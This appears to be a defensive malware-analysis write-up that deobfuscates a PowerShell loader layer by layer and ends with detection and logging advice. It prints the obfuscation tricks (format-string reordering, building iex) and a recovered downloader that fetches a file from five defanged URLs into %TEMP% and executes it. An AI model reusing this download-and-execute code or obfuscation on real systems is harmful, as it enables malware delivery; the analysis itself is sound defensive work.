Scope and safety

This is a static, sample-led analysis. The domains are historical and are defanged below, but they should still be treated as malicious artifacts. Do not paste the original script into an interactive PowerShell session. Work on a copy, preserve hashes at each stage, and perform transformations with tools that do not evaluate the recovered code.

The old version of this note described the technique as “AST obfuscation.” That was imprecise. The sample uses PowerShell syntax, format-string reordering, mixed case, dynamic command construction, replacement operations, Base64, and compression. An abstract syntax tree is useful for analyzing and normalizing those expressions; it is not the hidden payload.

Reading the outer layer

At first glance the loader is a wall of reordered string fragments. The outer layer has three jobs:

  1. construct the .NET Environment type without writing its name normally;
  2. construct iex, the PowerShell alias for Invoke-Expression;
  3. reassemble a command that Base64-decodes and decompresses the inner script before evaluating it.
Obfuscated PowerShell loader opened in a code editor
Figure 1. The original outer layer. The visual noise is mostly string construction and reordering.

Two small expressions reveal the approach. The first uses PowerShell’s format operator to reorder fragments:

[type]("{2}{1}{0}{3}" -f 'NM', 'O', 'eNvIR', 'ent')

# Format indexes 2,1,0,3 produce:
# eNvIR + O + NM + ent  →  eNvIRONMENT  →  Environment

The second derives the command that executes the recovered text:

([string]$VerbosePreference)[1,3] + 'x' -join ''

# With the normal value "SilentlyContinue":
# index 1 = i, index 3 = e, then x  →  iex

Normalizing the PowerShell

DeobShell is useful for turning format operations and dynamically built expressions into something readable. The important analytical habit is to review each simplification. Automated output is a hypothesis about what the source evaluates to, not a reason to stop reading the source.

DeobShell output showing a normalized PowerShell expression
Figure 2. Normalization exposes the Base64 and decompression chain without executing the inner payload.

Reduced to its functional core, the outer layer is equivalent to:

$encoded = "<Base64 data>"
$bytes = [Convert]::FromBase64String($encoded)
$stream = New-Object IO.MemoryStream(,$bytes)
$deflate = New-Object IO.Compression.DeflateStream(
    $stream,
    [IO.Compression.CompressionMode]::Decompress
)
$reader = New-Object IO.StreamReader($deflate, [Text.Encoding]::ASCII)
$innerScript = $reader.ReadToEnd()

# The original passes $innerScript to Invoke-Expression.
# Analysis should save or print it instead.

Base64 and raw DEFLATE

Base64 is an encoding, not encryption. Decoding it produces compressed bytes, not readable PowerShell. The call to .NETDeflateStream tells us what the next operation must be. In CyberChef, the reproducible recipe is:

  1. From Base64
  2. Raw Inflate
  3. Decode text as ASCII, matching the sample
CyberChef output displaying the decompressed PowerShell downloader
Figure 3. Base64 decoding followed by raw Inflate recovers the inner downloader.

“Raw” matters. A gzip recipe expects a gzip header and footer that this byte stream does not contain. The sample itself identifies the correct container through the API it calls.

The recovered downloader

Once decompressed, the behavior is direct. The sample creates aNet.WebClient, splits a list of five URLs, writes the first successful response to %TEMP%\378.exe, executes it withInvoke-Item, and stops trying additional locations.

$client = New-Object Net.WebClient
$sources = @(
  'hxxp://cine80[.]co[.]kr/wvw/qhKE5rlkR',
  'hxxp://listyourhomes[.]ca/o5qDsWBe',
  'hxxp://hire-van[.]com/6dusyh9w3',
  'hxxp://icxturkey[.]com/nE2YMAjUK',
  'hxxp://spolarich[.]com/vlJ2o3k2h7'
)
$target = "$env:TEMP\378.exe"

foreach ($source in $sources) {
  try {
    $client.DownloadFile($source, $target)
    Invoke-Item $target
    break
  } catch { }
}
CodeObserved behaviorAnalytical value
Net.WebClientHTTP file retrievalUseful with PowerShell script-block, module, AMSI, and network telemetry
Five source URLsSequential fallbackInfrastructure set from the sample; historical status must be checked separately
%TEMP%\378.exeFixed destination pathFile creation and execution join on the affected host
Invoke-ItemExecutes the downloaded fileLinks the script stage to process creation
Empty catchSuppresses failed downloadsExplains repeated connection attempts without visible error output

The snippet does not establish persistence, steal credentials, or prove what 378.exe does. Those behaviors may exist in the next stage, but they cannot be attributed to this script without acquiring and analyzing that payload.

Detection opportunities

The strongest detections join multiple stages. Any one of the following may occur legitimately; the sequence is much harder to dismiss:

  1. PowerShell evaluates a script with heavy format-string construction and dynamic invocation.
  2. The process decodes Base64 data and instantiates a DeflateStream.
  3. Net.WebClient.DownloadFile writes an executable into a user-writable temporary directory.
  4. PowerShell or its child process executes that newly written file.
  5. The host contacts several unrelated domains until one request succeeds.

Data worth retaining

  • PowerShell script-block and module logging, with the applicable privacy and retention controls.
  • AMSI or EDR content before and after deobfuscation.
  • Process creation with parent, command line, user, integrity level, and hash.
  • File creation and execution from temporary directories.
  • Process-attributed DNS and network connections.

What the sample proves

The sample proves a delivery chain: obfuscated PowerShell reconstructs an execution primitive, decodes and decompresses a second script, then tries several locations until it can download and execute a Windows binary. It also gives defenders stable analytical joins across script, network, file, and process telemetry.

The analysis becomes clearer when each layer is treated as a discrete transformation. There is no need to describe every string fragment as an advanced technique. Most of the script is camouflage around a small, testable downloader.